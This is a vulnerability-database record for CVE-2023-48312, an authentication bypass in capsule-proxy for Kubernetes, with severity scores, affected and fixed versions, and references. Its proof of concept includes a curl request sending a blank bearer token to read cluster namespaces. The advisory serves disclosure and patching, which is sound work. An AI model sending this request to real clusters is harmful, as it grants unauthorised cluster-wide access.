{"id":"CVE-2023-48312","aliases":["GHSA-fpvw-6m5v-hqfp","GO-2023-2351"],"url":"https://o3.security/vulnerability/CVE-2023-48312","summary":"Authentication bypass using an empty token in capsule-proxy","details":"The privilege escalation is based on a missing check if the user is authenticated based on the `TokenReview` result.\n\nAll the clusters running with the `anonymous-auth` Kubernetes API Server setting disable (set to `false`) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server.\n\n# PoC\n\nStart a KinD cluster with the `anonymous-auth` value to `false`. \nIf it is true, it uses anonymous permissions which are very limited by default\n\n```yaml\nkind: Cluster\napiVersion: kind.x-k8s.io/v1alpha4\nnodes:\n- role: control-plane\n  kubeadmConfigPatches:\n  - |\n    kind: ClusterConfiguration\n    apiServer:\n        extraArgs:\n          anonymous-auth: \"false\"\n```\n\nInstall `capsule` and `capsule-proxy`\n\n```\nk port-forward svc/capsule-proxy 9001    \nForwarding from 127.0.0.1:9001 -> 9001\nForwarding from [::1]:9001 -> 9001\nHandling connection for 9001\n```\n\nThen query the proxy\n```\ncurl -g -k -H 'Authorization: Bearer   f' -X 'GET' 'https://localhost:9001/api/v1/namespaces'\n```\n\n# Impact\n\nThe whole cluster is exposed to unauthorised users.\n\nThis privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS).","published":"2023-11-24T17:12:39.652Z","modified":"2026-08-12T03:51:19.142513851Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":{"score":0.00574,"percentile":0.4586,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"Go","name":"github.com/projectcapsule/capsule-proxy","fixedVersion":"0.4.6"},{"ecosystem":"Go","name":"github.com/clastix/capsule-proxy","fixedVersion":"0.4.6"}],"fix":{"url":"https://github.com/projectcapsule/capsule-proxy/commit/472404f7006a4152e4eec76dee07324dd1e6e823","label":"projectcapsule/capsule-proxy@472404f"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/48xxx/CVE-2023-48312.json"},{"type":"ADVISORY","url":"https://github.com/projectcapsule/capsule-proxy/security/advisories/GHSA-fpvw-6m5v-hqfp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-48312"},{"type":"FIX","url":"https://github.com/projectcapsule/capsule-proxy/commit/472404f7006a4152e4eec76dee07324dd1e6e823"},{"type":"PACKAGE","url":"https://github.com/projectcapsule/capsule-proxy"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:19.142513851Z"}}